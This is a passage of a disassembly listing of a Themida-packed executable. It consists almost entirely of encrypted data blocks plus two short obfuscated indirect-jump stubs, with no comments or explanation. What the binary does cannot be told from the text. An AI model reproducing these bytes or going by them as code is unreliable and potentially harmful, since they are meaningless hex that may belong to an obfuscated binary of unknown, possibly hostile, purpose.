		dd 0B1620FDEh, 66EDBD46h, 0AAE1FAF1h, 762EECEFh, 2A3EDA01h
		dd 0A3D87307h, 0DAD9C576h, 0E7946B0Ah, 0F498C136h, 18C97666h
		dd 66F498DFh, 396EA358h, 98C73354h, 0E5366F4h, 3C70A871h
		dd 0DBFD4600h, 0C0000000h, 465DF78Dh, 0FB39D79Dh, 8BDA2D7h
		dd 0D497E87h, 32281195h, 0D273F4ABh, 6D043F59h,	2C42F5ADh
		dd 7328F409h, 0C2F5325Fh, 0F4A98E91h, 3F2DD273h, 4D026D04h
		dd 8CAFC568h, 7E174A77h, 59662E3h, 2B6DA0CDh, 729E5338h
		dd 0F5879AA8h, 0C5F273F5h, 382EB14h, 0CA9FDB6Dh, 92168345h
		dd 0F4A96DEEh, 93508BC7h, 0F64556E1h, 0A6E39075h, 3A402F5h
		dd 0F7782D6Dh, 869BBED4h, 0C4F1E1BAh, 7B60FB91h, 6DF0A3C6h
		dd 2552D388h, 12C5ACE8h, 0AC05658h, 3DF2D74Ah, 35E68708h
		dd 26D03D8h, 452A355Fh,	0FB2E5B90h, 2ADFC467h, 58A3C4A9h
		dd 2A6D0398h, 81A4BAEDh, 952C3B00h, 452A0D62h, 58430F90h
		dd 0D3104D7Ah, 417D522h, 24A55A6Dh, 4189883h, 152ADF6Dh
		dd 0BF38h, 0EFAA9F00h, 7105B6E3h, 0BC6B0B64h, 0E87F2207h
		dd 306C384Dh, 53875A2h,	35EACF52h, 22F013B4h, 924766F5h
		dd 86648CADh, 3B808CECh, 1D43D52Ch, 8928521Fh, 0F000000h
		dd 0B3E0F2AAh, 0AD5D6777h, 39AFBFCh, 537F346Dh,	64E5D25Fh
		dd 0E6718637h, 205D6D03h, 3E5886Fh, 6295466Dh, 0CD6D03E6h
		dd 1E9F5418h, 1DC0A55Ah, 0BA9DF546h, 0E61BDC8Dh, 5F146D03h
		dd 5349152Ah, 0A9E21E88h, 0C0F51C37h, 0AF69E293h, 52856D03h
		dd 82752601h, 0AD6D03AEh, 7E42C3F8h, 38C3E4C9h,	4A6D036Fh
		dd 93CF1675h, 0C87AD6F3h, 61224EFCh, 9C3BF014h,	207C48C9h
		dd 154885B2h, 0B95ADB7Eh, 6D041D92h, 0F2FB10C5h, 9C5B0C49h
		dd 936D044Dh, 243A5DDEh, 0FDEF760Ah, 184DF6C7h,	538633h
		dd 283381Dh, 0A8C089DFh, 0D0F3A88Dh, 0B59A85h, 0AFEAB6CBh
		dd 4545F623h, 106B0A81h, 0DDF22E5Bh, 2FED3496h,	305136B7h
		dd 66F4C0CBh
		dd 1971A451h, 5B93123Eh, 0CDA8471Ah, 0E1F8874Ch, 0E3F52AA5h
		dd 33B4DD94h, 22D246h, 479B46h,	49820000h, 0FCE17C16h
		dd 9FFAC647h, 49550633h, 0BB6B0B67h, 282ACD7Eh,	0ECA666F5h
		dd 77F8AD71h, 0C89C07B3h, 0CFFB662Eh, 89BEF3AEh, 8EBBF7A4h
		dd 28AE7F3Fh, 0BF3CDD5Eh, 5D66F4CBh, 66B24B18h,	7460073h
		dd 0CDh, 1A3D53EEh, 5BFE9235h, 9ABDD376h, 0EB7C12B5h, 5380B5A8h
		dd 923AE017h, 82335FC2h, 6C81023Eh, 39610CBh, 0D772086Dh
		dd 6EC99FC2h, 885C3D89h, 0BB7055F0h, 6D265986h,	0D7580DF2h
		dd 0B741F9AAh, 0BF746B0Ah, 8F407DAAh, 66F4B568h, 0CD991ACFh
		dd 0E37E18CCh, 0E71449FEh, 46E177AAh, 64EC24C5h, 0C7FA6506h
		dd 0F8AD928Dh, 0D1FEB377h, 5A6FCA9Eh, 0FD082337h, 8E04BCC1h
		dd 0B5FF5C41h, 0D4000001h, 62859ABDh, 0F81B3033h, 8BAEC35Eh
		dd 204358CBh, 0B7D8ED48h, 5CFF9325h, 0EC4F2447h, 80E3B4D7h
		dd 1732486Bh, 0D5863302h, 66EDBA22h, 53FD160Dh,	0B2EF1C3Fh
		dd 44DF601h, 0D027D86Dh, 676D044Dh, 354BEEB2h, 475CDD12h
		dd 0D6EB4E24h, 0E3EFAACDh, 679905B6h, 1FD46B0Bh, 27E2193Ah
		dd 8D3A66F5h, 28589F50h, 2ADF66F5h, 7E87E4A9h, 4600CF9Ah
		dd 0B7D3h, 3D53BA00h, 0FE92351Ah, 96C9765Bh, 45E667C2h
		dd 6D044996h, 3449EC82h, 0B3E07B11h, 0C94AD580h, 0D10198E4h
		dd 6347F3A4h, 39EE6B0Bh, 91415824h, 0FA653164h,	0B2DF6015h
		dd 6B4BA01h, 1B48FD65h,	88B590E8h, 0CD5D9A4Bh, 1DD26CE5h
		dd 1D5A879Ch, 9E2A77E1h, 17B8E01Ah, 6CE618E0h, 0D376A257h
		dd 8F133A12h, 354D70F1h, 0B1C10712h, 5C418E04h,	0CBFFh
		dd 90ABBE00h, 223D587Bh, 0B5A8EA0Dh, 46D97DA0h,	0DF7A0E31h
		dd 8517A9CAh, 12354AEDh, 0A2C5DA7Dh, 36596EF1h,	21F00520h
		dd 0B934C374h, 4FB66EDh, 1C3F53EBh, 0EC9DDA07h,	6D044E0Bh
		dd 0CBEE6F24h, 747D92B5h, 0E5401649h, 0A7CA4B00h, 2ACD7ED1h
		dd 56D044Eh, 93361B50h,	79455AFDh, 0EE09BA20h, 0E16D044Dh
		dd 0DD7663DFh, 0C2773B82h, 12DE8B96h, 79AE7318h, 7F079B4Ch
		dd 893E6B12h, 0D06B01A4h, 67C298BBh, 0D873073Ah, 0D8BD3EF3h
		dd 0C35EF82Bh, 1A3CA142h, 0FC511BACh, 2F0A606Fh, 0C661F71Ah
		dd 0B163EE1h, 0B582D26h, 6E83A6BCh, 0A4530441h,	8B2233F9h
		dd 5C3255D6h, 346714F9h, 85DD0063h, 8708BDA2h, 3AAh, 0CED71100h
		dd 361B3E53h, 755AFD93h, 0B99E81D2h, 1E64116h, 4A2F0A5Eh
		dd 9378D3A7h, 0D4B9A4F0h, 17FC6731h, 593E2174h,	717B68F7h
		dd 0C890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 68240489h, 6E27h, 55241489h,	168A21BDh, 5D585506h, 24148B54h
		dd 5604C483h, 89C58955h, 72895DEEh, 34FF5E08h, 0C4815A24h
		dd 4, 582434FFh, 4C481h, 7E90000h, 0EAFFF8E8h, 9CA00CBAh
		dd 32D61AEEh, 1BD232B5h
; ---------------------------------------------------------------------------


loc_5C458C:				; CODE XREF: Themida_:005C38A0j
		mov	eax, 616965Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0C7h, 8Bh, 0BAh
		dd 0A4E0CE7Eh, 95E3007Bh, 20F9C03Ah, 59453C65h,	63E5312h
		dd 9994C614h, 0DD0CC76Ch, 4AC3ED21h, 0EA2ACA5Bh, 0D4481F4Bh
		dd 0B86B016h, 9EE6AF29h, 16B7513Eh, 8E87Ch, 0C6090000h
		dd 0F2D1492Dh, 8B66834Ch, 0BF605FD0h, 49CA966Eh, 2870Fh
		dd 5A560000h, 0F7C78161h, 0F0000E2h, 0A87h, 0CE8B6000h
		dd 870Fh, 68610000h, 389Bh, 0F5BCFB5h, 8Bh, 80078B00h
		dd 0C08103C6h, 62A16993h, 0CEDCC081h, 0EA8A4D48h, 377AF081h
		dd 850F6C57h, 16h, 11E9h, 0CBA55B00h, 0C245B67Bh, 0DC0282EAh
		dd 0D953E55Bh, 7899847h, 3EF83FCh, 0E883B966h, 83D08B4Fh
		dd 850F01EBh, 0FFFFFFB5h, 0C7CE8166h, 9E8DEh, 0DFD30000h
		dd 4DA9BA09h, 66E294AFh, 5997A0B8h, 7E8h, 0DA089D00h, 3C753736h
		dd 815E5F53h, 59E1C1h, 68F28B00h, 1652h, 4D9EE081h, 665A3422h
		dd 198BFA8Bh, 8E8h, 6C114400h, 0C0711DDCh, 0C68B6687h
		dd 28C3815Fh, 6044B1F2h, 2870Fh, 58560000h, 816198B0h
		dd 8905B4EBh, 0CF81663Bh, 0EB81A315h, 62F23CE9h, 5840Fh
		dd 81660000h, 533D3DDFh, 18FC18Bh, 1E983FCh, 0BF494949h
		dd 34D23406h, 1EA81h, 850F0000h, 0FFFFFFA2h, 5810Fh, 81660000h
		dd 0E91894F6h, 1Ch, 4CEE5415h, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5C4C0A
; ---------------------------------------------------------------------------
		db 0B2h, 0DFh, 7Ch
		dd 0E114467h, 0A1BCD6F9h, 322D698Ch, 0C366FA1Dh, 69FB8DAEh
		dd 0FE213611h, 96B9CE69h, 2A4D62FDh, 0DDCF154h,	0B648AF60h
		dd 0F8EF66EDh, 7E1649DFh, 293F62E3h, 54A5E10Eh,	2927F999h
		dd 0DC7F64E5h, 3874A184h, 396745C0h, 6176F77Fh,	280D283Eh
		dd 240D487Bh, 36B7EC4Fh, 0F5DA7D13h, 9D5A0B48h,	926D0362h
		dd 1C395CDDh, 0F098D401h, 7D247750h, 0DEC35EF6h, 16C7F429h
		dd 6D0416E1h, 3B20A156h, 0B8DD10CDh, 8A0BC0A5h,	5329A6C5h
		dd 97C0E3F8h, 354778Ch,	96C0F320h, 6D03A68Bh, 0FB30E5CAh
		dd 9DF2957Ah, 7DCD5BAh,	73246178h, 6D041684h, 17669142h
		dd 1CD16D04h, 0FB02AC58h, 641FE08Dh, 0C88BAE2Fh, 0D6134055h
		dd 3B8D225h, 27A85D6Dh,	0E6CB6E04h, 0D6710639h,	0D80D45F1h
		dd 5CEDAA00h, 0F505A627h, 0E16D037Eh, 1BC7ACB7h, 31C0FD11h
		dd 0E4B0D3E5h, 99F19479h, 0C24D9BEh, 0BC892837h, 17011867h
		dd 544C0F2Fh, 57h, 1A3D533Bh, 4DE91435h, 0F0456D04h, 0F58E8A93h
		dd 1DF4C0Fh, 0C6000000h, 3A1F0253h, 7E63FE97h, 4B1BBDBh
		dd 0CD439115h, 39A78CC1h, 7AA1407Ch, 5B402375h,	610D7AA6h
		dd 0A6C58A0Bh, 0DCF16C29h, 53E47CAFh, 67E81D00h, 451D2E44h
		dd 1348FDE2h, 7FE2B3E6h, 49E0E9FEh, 63E47F16h, 280D2840h
		dd 684DD085h, 87387522h, 6D044E70h, 4E4AAD5Eh, 30E56D04h
		dd 7136B76Ch, 9ABDD512h, 290C6285h, 6CF7A144h, 84E32887h
		dd 0FF3AB7Dh, 50C04Ch, 53A70000h, 94371C3Fh, 0A1DA68C2h
		dd 0D7B52D65h, 0FA4FBDA2h, 2F0A5E6Dh, 0C863F71Ah, 91440E3h
		dd 0D4F6A0DCh, 18D574A1h, 0E53B297h, 0F580A871h, 410D4C0Eh
		dd 0F4000000h, 9C5B0C49h, 936D044Dh, 263A5DDEh,	0D87B1E03h
		dd 0F3C86045h, 28035794h, 2530A13h, 0E1193A1Fh,	4B6D044Dh
		dd 889069F6h, 0D44C0FF5h, 896EC9A1h, 1F6A7D4h, 366D0442h
		dd 1E40081h, 0CB000000h, 0E5401649h, 0A7CA4B00h, 2EC97AEDh
		dd 96D044Eh, 973A1F54h,	888166C1h, 8E0F4Bh, 0D5B54C27h
		dd 149F7B8Eh, 0FE7FB4E3h, 0FB9D2A39h, 12875368h, 0B6093C0h
		dd 15964B30h, 0FECF37E8h, 0D1866B0Ah, 183349ECh, 0B88AE003h
		dd 0DC2F8F68h, 4A77AC93h, 61E27D17h, 24A25B7Ch,	84566F5h
		dd 1ADD8ECBh, 1566F525h, 2538BF60h, 4AFF66F5h, 248B6C1Dh
		dd 0EFA466F5h, 0DDAA96Eh, 74A7D477h, 0AABF4023h, 7156F187h
		dd 0B89DB8CEh, 915E2D72h, 3F2272FBh, 24966112h,	0ECA166F5h
		dd 63B5A2B7h, 0F74600CCh, 603AB1BBh, 49445009h,	410F3B36h
		dd 324ECF5Ch, 0E0h, 0E3EFAA19h,	581105B6h, 0A75C6B0Bh
		dd 0EE491FC2h, 5AC58EC1h, 0CBA1C4D9h, 92E88B70h, 5B2FD2B7h
		dd 0DC781B00h, 99EE5C41h, 0E025EBCAh, 0B2E4483h, 0E00F09F6h
		dd 445C4600h, 43000000h, 0B4E1F1AAh, 92C4477h, 4DEE6F24h
		dd 12FBB08Ah, 2A4B30E5h, 0ED044ECDh, 81B9C69Bh,	0DA8BB81Ah
		dd 92FBB1FDh, 1D507D32h, 0B5BBEB45h, 0F7141182h, 7F30DDC2h
		dd 6D03D078h, 54D50ABFh, 62623Fh, 0AAC90000h, 79B6E3EFh
		dd 6ECB9F3Dh, 1440E1F2h, 0FD220A8Bh, 690A8B56h,	6B0A58C1h
		dd 37DABF74h, 0CEF10621h, 97B89DB8h, 66F46759h,	0CB18673Ch
		dd 478F9BB5h, 0CD9E3F3Eh, 0E2B78398h, 1F12C3F0h, 5465039Ah
		dd 4117BA9Fh, 330801E6h, 27ABEE54h, 31E849FAh, 0EA9F6AF9h
		dd 0BA6BA8D5h, 66F5123Dh, 0B3BC3DF2h, 0B6E3EFAAh, 12D62C05h
		dd 81B7636Bh, 0FCBC2818h, 0E518457Ah, 492EAFB2h, 6075D0A6h
		dd 6B12F733h, 0A0DC78FBh, 9C669174h, 91123A74h,	583D186Eh
		dd 0E5CF7837h, 0D3B00521h, 0ABED7E14h, 0E91ED3B8h, 2174A7D4h
		dd 3B203B50h, 0ADD05186h, 0EC8F74D7h, 5588B5A8h, 83742500h
		dd 0AC2015CFh, 5C41C2F7h, 0A186A1B9h, 0E6CB56FEh, 75442378h
		dd 8B5827FCh, 1A3D52F5h, 9FFCE144h, 0Ah, 77AAD706h, 0A75C41DCh
		dd 3E531D26h, 0FD93361Bh, 81D2755Ah, 4116B99Eh,	0A5E01E6h
		dd 0D3A74A2Fh, 0A4F09378h, 6731D4B9h, 217417FCh, 68F7593Eh
		dd 0F61h, 50240489h, 405E089h, 2D000000h, 4, 5C240487h
		dd 57243C89h, 0C781E789h, 4, 8704EF83h,	895C243Ch, 0BA522404h
		dd 616985Fh, 148BD789h,	4C48124h, 54000000h, 8324048Bh
		dd 586804C4h, 89000003h, 0F989240Ch, 59084889h,	5624048Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 3C8B5C24h,	0E2895224h
		dd 4C281h, 0C2830000h, 24148704h, 0E184E95Ch, 0D903FFF8h
		dd 0ED71A0D7h
		db 0C4h, 25h
; ---------------------------------------------------------------------------


loc_5C4C0A:				; CODE XREF: Themida_:005C4724j
		mov	eax, 6169CB5h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0EFh
		dd 5733DC11h, 0D8296BF1h, 64289106h, 78033BA5h,	43BCD9Dh
		dd 0FD094EA5h, 4034C938h, 4109DC50h, 634226B8h,	5F64633Fh
		dd 4B3943DDh, 4292BBDh,	0A632993Eh, 263D4063h, 7206A74Dh
		dd 0C5D9899h, 1850F043h, 39689FC5h, 882C66B8h, 696CF0CCh
		dd 0AA38A0B8h, 288D7Eh,	8C6CCBF7h, 0E84222B5h, 5, 0B00C2A92h
		dd 5FD18B72h, 8E8h, 0B049EA00h,	0C6B1BA9h, 5870F03h, 66000000h
		dd 79E7D881h, 0C9C78158h, 0BE000073h, 0
		dd 8BCDC080h, 0C080371Ch, 0D3F381F8h, 0B644E476h, 0BFC3819Ch
		dd 0F3AC06Dh, 384h, 0CB8B6600h,	0D3C5F381h, 16B93A94h
		dd 53757B63h, 8FCB8B66h, 0B1533704h, 0C9815AFEh, 7608B431h
		dd 0F01EE83h, 0C8Eh, 6870F00h, 81000000h, 29C5AFC8h, 4E4E4E45h
		dd 78A0Fh, 820F0000h, 1, 20FE81FCh, 0FFFFF8Dh, 2985h, 10E900h
		dd 74660000h, 6AAD0FE7h, 10238B74h, 0E3146025h,	3AE9CE36h
		dd 0CA000000h, 106D5CA6h, 0F7903C0Fh, 113451D5h, 0DE9157Ch
		dd 29000000h, 0A0E3BE32h, 0E31071CDh, 806DCC12h, 0FFFF56E9h
		dd 0E5F720FFh, 0BE31ABB7h, 53547760h, 99E45DDEh, 0AA83CA19h
		dd 18E9E2h, 26460000h, 0FEh, 4 dup(0)
		dd 51E90000h, 10000005h, 0A6C9DE79h, 3C5F74EFh,	0CFF2071Ah
		dd 64879C87h, 0F314290Ch, 0A0BBCF61h, 3813688Bh, 0CC570023h
		dd 5BFE94B7h, 19CA7746h, 66EDAFDEh, 53496259h, 92351A3Dh
		dd 23465BFEh, 6205EA4Dh, 0A144290Ch, 37C071F4h,	6D044Eh
		dd 0ACE9164Bh, 44DFCFBh, 0FD7E336Dh, 3655AA18h,	7388A3B9h
		dd 582E0750h, 2E6318FDh, 0C25DF619h, 2253ADDh, 0ABE7241Dh
		dd 0E92A1A63h, 692EAF4Fh, 978ACD1Ah, 2E095F82h,	0D2D22849h
		dd 72066D03h, 173100E0h, 8CC13B43h, 0CC6F04A7h,	0D3CA3BE7h
		dd 6CF3DC53h, 0D1E07F54h, 9D0AF04h, 0BFA4BFD6h,	7C9C890Ah
		dd 0F14C0F16h, 66h, 1A3D53D8h, 558835h,	0B83FF01Dh, 7F6D044Dh
		dd 55A849CAh, 836D044Eh, 0C76A4FD2h, 7B398B3h, 3A06857Fh
		dd 75CAB809h, 0A5FAC716h, 0B4CCFFC6h, 76F7AC91h, 0F138F89h
		dd 1DC4Ch, 53C30000h, 973A1F02h, 0DB7E63FEh, 20C3A8BBh
		dd 0CF52024Bh, 7C12B59Ah, 3186F4D9h, 40958352h,	6EF1A423h
		dd 5203659h, 3F53E7F0h,	578A371Ch, 0FD60353Eh, 0AD2EE3C8h
		dd 156ACB8Ah, 63984D32h, 0A69DFA36h, 0EA1B1C84h, 0B7E18469h
		dd 4C24C7ACh, 360B04E9h, 7DC28829h, 0B689E1EEh,	3BCF205h
		dd 5C883D6Dh, 0EAF49B69h, 0F2073C3Ah, 0B99EB9CFh, 38E97C16h
		dd 6D039DBFh, 1EE27D19h, 0F04F3469h, 0E345DCABh, 884C0F43h
		dd 9Ah,	0E27D184Bh, 589F50FDh, 0DF6D0394h, 6B74F52Ah, 371C3F53h
		dd 2500578Ah, 4CD781A4h, 9093C467h, 0D34E08ABh,	463A8EEh
		dd 1572C7B5h, 92A782D6h, 5B401B6Fh, 9C819CB8h, 526BF83Dh
		dd 5EA751Fh, 46E2CF50h,	274C0FF3h, 87h,	7C16490Eh, 8DA8BEE1h
		dd 4F72F3A8h, 0B7F3203Bh, 7BC017D9h, 0A3880946h, 0E7CC5700h
		dd 80171144h, 0E4DE2961h, 0A144295Eh, 304669F4h, 0A5EA3015h
		dd 0ADFF7C6h, 471A6E7Dh, 3846196h, 0EC21D66Dh, 5DF78CBFh
		dd 0A1D93A44h, 0ED6EA3F2h, 253CFD8h, 5A8D3A1Fh,	205A2F39h
		dd 0D4955433h, 7E17BA9Fh, 8C2DAEE3h, 6D04376Eh,	51C6BC0h
		dd 4C0FDE13h, 0B4300B47h, 0CFB83DC1h, 0DB06F1A2h, 7C316D03h
		dd 1DFFBh, 53C60000h, 96391E01h, 878065C0h, 18BB0E4Ah
		dd 984E8052h, 0B23368C3h, 7519EEDh, 5E3B071Ch, 0D70A4774h
		dd 0C778A580h, 6D03D230h, 30D15207h, 6B0ACAD6h,	1AC7AC61h
		dd 0CEB447DEh, 889577Bh, 7FAC8FE5h, 2F14374Ch, 5B9C4D7Ah
		dd 0D466F49Bh, 5C899E1Fh, 0B6701F20h, 476ACFACh, 7A2F140Fh
		dd 0A580D6F9h, 7AC23C78h, 0F5B26F4Dh, 8F6E8F74h, 5866F545h
		dd 91E7E483h, 3E5689B6h, 8893E23h, 9FBAD0F3h, 0D283F72h
		dd 7507328h, 182371Ch, 48E3791Ch, 90ABC063h, 0D14C08ABh
		dd 411EF3ECh, 6A4FD282h, 0DBA80B5h, 0AA33A3D1h,	85064180h
		dd 4E24A3C0h, 2FE9D6EBh, 3C46003Fh, 115h, 7F164923h, 100CB8E4h
		dd 4B28493h, 0F0E2B783h, 4F0412C3h, 0B66B6B0Bh,	0FD582ED1h
		dd 8CAFC5E8h, 0CB6E04A7h, 0C5BA0E6h, 0A9AC79B5h, 0D4643079h
		dd 0FF5A3053h, 6DC89FD2h, 2EEAD7ECh, 3F46003Bh,	2Eh, 0E1F1AA26h
		dd 0B0D403B4h, 661B12FBh, 0F7A1D481h, 51D2876Ch, 44F47B0h
		dd 375429EDh, 19468C0Fh, 0FBB16F68h, 0FE13C892h, 0A421h
		dd 0EFAA8800h, 2505B6E3h, 76B0B45h, 0AFD297CBh,	0E1967BE6h
		dd 0F9D42BB5h, 1AFFB478h, 1946E177h, 33B4AFE6h,	3B4F11Eh
		dd 66F4F4F4h, 0E205863Bh, 17C4A98Ch, 294EF1DBh,	5A0FF46Fh
		dd 0BBB6ED2Eh, 3A57993Ah, 0FD3A66F5h, 39E80FC0h, 9A4F66F5h
		dd 5E43DE77h, 46328A9h,	8196B1C7h, 0EE492154h, 0DAF8A16Dh
		dd 1B3D70ADh, 39985F10h, 0EA9F66F5h, 9A1BD0B5h,	3BBA2F9h
		dd 3B20D565h, 3A67C298h, 0F0D57007h, 0DCD5BA3Bh, 0D7C27807h
		dd 5E91CEFBh, 90452A35h, 452D6E0Fh, 5E0A6AF9h, 1CC2208Bh
		dd 0A0B5EA42h, 40164997h, 8AADC2E5h, 765C3D09h,	0B7C30D49h
		dd 7A88F34Ah, 4BF8B429h, 1394C950h, 226635E6h, 1CD16B12h
		dd 5BFE9437h, 2BDC1946h, 66EE1ACCh, 0A2DAE63h, 74CDA74h
		dd 0D20252D3h, 9F03F4A5h, 772C66EDh, 0D23C5D42h, 6365D61Ch
		dd 1C72710Eh, 6B012439h, 0C48EBD0h, 5E332C11h, 89ACC201h
		dd 43144774h, 0C546FBE0h, 8469CCA2h, 327h, 0CED78E00h
		dd 361B3E53h, 755AFD93h, 0B99E81D2h, 1E64116h, 4A2F0A5Eh
		dd 9378D3A7h, 0D4B9A4F0h, 17FC6731h, 593E2174h,	0E18951F7h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 53240489h,	0C381E389h
		dd 4, 4EB81h, 1C870000h, 2C895C24h, 0E2895224h,	4C281h
		dd 0EA810000h, 4, 5C241487h, 50241489h,	6B9EBB53h, 0EB815219h
		dd 174B14DAh, 850C381h,	0F38172A5h, 0E3F62DAFh,	0BD5BD889h
		dd 0B7912C02h, 6858C501h, 127Ah, 81242489h, 42404h, 565A0000h
		dd 72895E55h, 34FF5E08h, 0C4835A24h, 2434FF04h,	4C4835Dh
		dd 0F8DAB5E9h, 0B6CA6FFh, 0DCD24DCAh, 16A377B8h, 0FFC50306h
		dd 4F0D14E0h, 656A32Eh,	0EB5B1930h, 1C08EC65h, 178BF66Eh
		dd 4441F72h, 61FACC02h,	16554823h, 4F1B0A4Fh, 90B1A621h
		dd 79771C6Fh, 0EBC8C547h, 0B8DAB261h, 0CAFFF002h, 1C4A4337h
		dd 63527051h, 2731B86Fh, 0ECE909h, 0
		dd 0AC370000h, 5CEB77E7h, 3C4977E7h, 0E21F77E7h, 0E30077F7h
		dd 77F7h, 277E6h, 5 dup(0)
		dd 0A5FD0000h, 77E7h, 2Bh dup(0)
		dd 20000h, 0E7140000h, 3D2B1611h, 629A0D10h, 624CB131h
		dd 631F3B38h, 8FDE522Ah, 66113219h, 1EEB3E5Eh, 770D328h
		dd 5294156h, 0F7ACB174h, 668E3D0Dh, 0DBC73B60h,	602D14B8h
		dd 36084615h, 0DE48B946h, 66443604h, 6607B79Ch,	0FB9C341Ah
		dd 60999DADh, 3E1FE1EAh, 408F8F96h, 1211341Ah, 0DEDB6202h
		dd 66443604h, 6607B79Ch, 0FB9C341Ah, 60999EB2h,	3E1FE1EAh
		dd 6637B91Ah, 76F83215h, 0F2883215h, 33EB463Bh,	6F01B7Dh
		dd 0A5BD1F2Eh, 6920B828h, 6644389Bh, 6627DB15h,	4B273215h
		dd 8F941E6Ch, 66443218h, 665D6509h, 0D714355Eh,	92E21F34h
		dd 62A8B1CFh, 0E706369Ch, 48D11639h, 63D0176Fh,	433E1CD5h
		dd 66223CFCh, 0BFF07A15h, 5DB2FB00h, 2F2FA8Ah, 0E57C1D9Bh
		dd 70B54EA8h, 0E2873213h, 66443274h, 34A7BFECh,	6917246Ch
		dd 66883892h, 6641DB15h, 0A1693215h, 9F4886CDh,	6861E2EAh
		dd 0BA443215h, 12BE147Dh, 5230F400h, 0C4ADE834h, 0E4C1BFC2h
		dd 8F24246Ch, 66113218h, 6873579Fh, 64D70373h, 5FCCDF16h
		dd 0B6EEC783h, 6683BF1Ah, 60AD3215h, 1F223215h,	0E429716Dh
		dd 9AD9522Dh, 0AECF544Eh, 9BA7F474h, 30173D31h,	0DEDA5AE0h
		dd 6AADAEBDh, 55223215h, 2035B463h, 329CA1B6h, 99C1538Bh
		dd 690E93A0h, 661DDB13h, 3B573215h, 0F149226Eh,	0B81EEF1Ah
		dd 0E39C7F65h, 609A40F2h, 0EDE78D75h, 7DA71E0h,	0EFEDE2EAh
		dd 69AB4F90h, 6649DB13h, 1FD23215h, 3B0DAC9Ch, 50F50EBFh
		dd 0A15AB5E5h, 69098390h, 66113213h, 0E34ECB15h, 604B16E8h
		dd 67A43D50h, 9E113215h, 14E15B7Dh, 6ECB3D9Bh, 69223215h
		dd 66113098h, 99E95215h, 6958D7A0h, 6BCB5213h, 99113215h
		dd 4560A4DDh, 7C2FEBCAh, 0E6A649F4h, 6613BA1Ah,	38DB3215h
		dd 0DEC1BF74h, 69243D2Fh, 6611209Fh, 6685DB15h,	0C8AB3215h
		dd 5876C619h, 4B44F0CBh, 99EB91C3h, 664FDBC5h, 0F7303215h
		dd 0C63A7449h, 7E5D3E50h, 0E3CDC79Dh, 602D252Ch, 661134FCh
		dd 38200115h, 0A0AF0963h, 6906CF90h, 6FF87113h,	8B883215h
		dd 45C05E6Ch, 53FC098Eh, 17A6C7Dh, 68605289h, 0D6443215h
		dd 2307FDDCh, 35BC1C6Ah, 1C4C1E54h, 3E1280DAh, 8397CD74h
		dd 9E173D09h, 5C30B798h, 0D724341Ah, 7FCB9CEh, 0E61E6475h
		dd 66883215h, 6655DB4Ch, 0B9D43215h, 0D7E0A8E7h, 8D9BA460h
		dd 0A01E23FFh, 77D53ADh, 0E81EE2EAh, 66883219h,	664435FCh
		dd 0FFFC8515h, 0DC0AA016h, 0C2ECB79Ch, 243403h,	763F3AAh
		dd 42ECB7D3h, 6DC341Ah,	6642B41Ah, 0A5A33215h, 6604A549h
		dd 29EA8C73h, 6641DB74h, 0FA953215h, 0EC0CD42h,	88EA5A3Ch
		dd 6643BC1Ah, 423215h, 0B386D494h, 833DCD74h, 69423D09h
		dd 66222194h, 661FDB15h, 47E3215h, 0F1DF5D37h, 2D8DF808h
		dd 0B75EE121h, 5C30B798h, 0EB4B341Ah, 66223212h, 6610B81Ah
		dd 99743215h, 8CC452C5h, 0A8A3545Ch, 0EF705739h, 702C5A90h
		dd 6643DB13h, 38E23215h, 168BF98Bh, 9B0DF4DCh, 23423D31h
		dd 66223CFCh, 0FCD72E15h, 62FB1C78h, 0FFFE6B1Bh, 0E0728F2h
		dd 0BC710AD7h, 668826FCh, 39675A15h, 4AA92D1Eh,	33D5AF43h
		dd 0F9482B2Ah, 8075B172h, 8397CD85h, 8F173D09h,	66883207h
		dd 0D0965D56h, 0EE6B205Bh, 0A555B78Ch, 1B369640h, 0E3C90FA5h
		dd 602D08ADh, 661123FCh, 7EE79B15h, 1963B817h, 52411A45h
		dd 0B0DFC3Eh, 0B6776BC5h, 664EB11Ah, 423215h, 7858ABh
		dd 76259ADh, 0C228B79Ch, 0E5DE3403h, 69309FA8h,	0E3873213h
		dd 664432E5h, 662220FCh, 6A5C0615h, 37AB2848h, 8854B44Fh
		dd 0CD3A0C13h, 0A051BE85h, 69ACCF90h, 93BD7713h, 465CB47Dh
		dd 619A3DEFh, 69883215h, 6644339Bh, 0D3DDCB15h,	601E2EF0h
		dd 0DE0DBFEDh, 69423D2Fh, 66223394h, 0B6EECA15h, 669CDB75h
		dd 5C633215h, 0A20DE67Ch, 50FE82CAh, 0B7CE67h, 7D6BC385h
		dd 6942EA74h, 66113290h, 1B7AB215h, 0E3CD5374h,	60349665h
		dd 6610B01Ah, 0A0743215h, 6960CF90h, 0E12D7E13h, 6611320Dh
		dd 6684DB75h, 0D7413215h, 92481F34h, 0CCE5C8CFh, 0E7EE4C78h
		dd 71937FFh, 0B6E15AECh, 99EDD233h, 6994D7A0h, 6AC13D13h
		dd 69223215h, 6611349Fh, 660F3D15h, 0EB443215h,	69188A90h
		dd 0B6EEC713h, 6680BA1Ah, 0E94B3215h, 66223217h, 0E3985375h
		dd 609E9661h, 64ADCEE0h, 8F223214h, 6611321Dh, 0C77CF572h
		dd 45E59FF1h, 42DFB7D3h, 9343341Ah, 2C6C3F7Dh, 6EC13DA9h
		dd 69223215h, 66113095h, 99E95215h, 69550BA0h, 662ADB13h
		dd 51F53215h, 0B8776CD6h, 243D44h, 0DD54C194h, 661135FCh
		dd 5F2B4615h, 15DE9664h, 0DEA7BF74h, 8F173D2Fh,	66883212h
		dd 8439E2A4h, 99EC71F3h, 0E21ECBC5h, 6688321Eh,	664434FCh
		dd 7D1AE015h, 0EFC3199Dh, 702C4290h, 0E382CB13h, 602D16E8h
		dd 6614DB47h, 48C03215h, 8FCC1CB5h, 6622321Dh, 0E296F406h
		dd 0DB98F949h, 2A0E7A7Dh, 6AAF3DB3h, 69113215h,	6688349Ch
		dd 66C13D15h, 99223215h, 69000BA0h, 0E305CA13h,	604B08ADh
		dd 662234FCh, 4135DF15h, 60DE2BCh, 0D87BDB94h, 3971673Eh
		dd 69C1CD74h, 66882A97h, 7245215h, 66223CFDh, 9B1CF415h
		dd 29A576BAh, 0DA869D1Eh, 3DD84191h, 1294BB74h,	8F8E24B1h
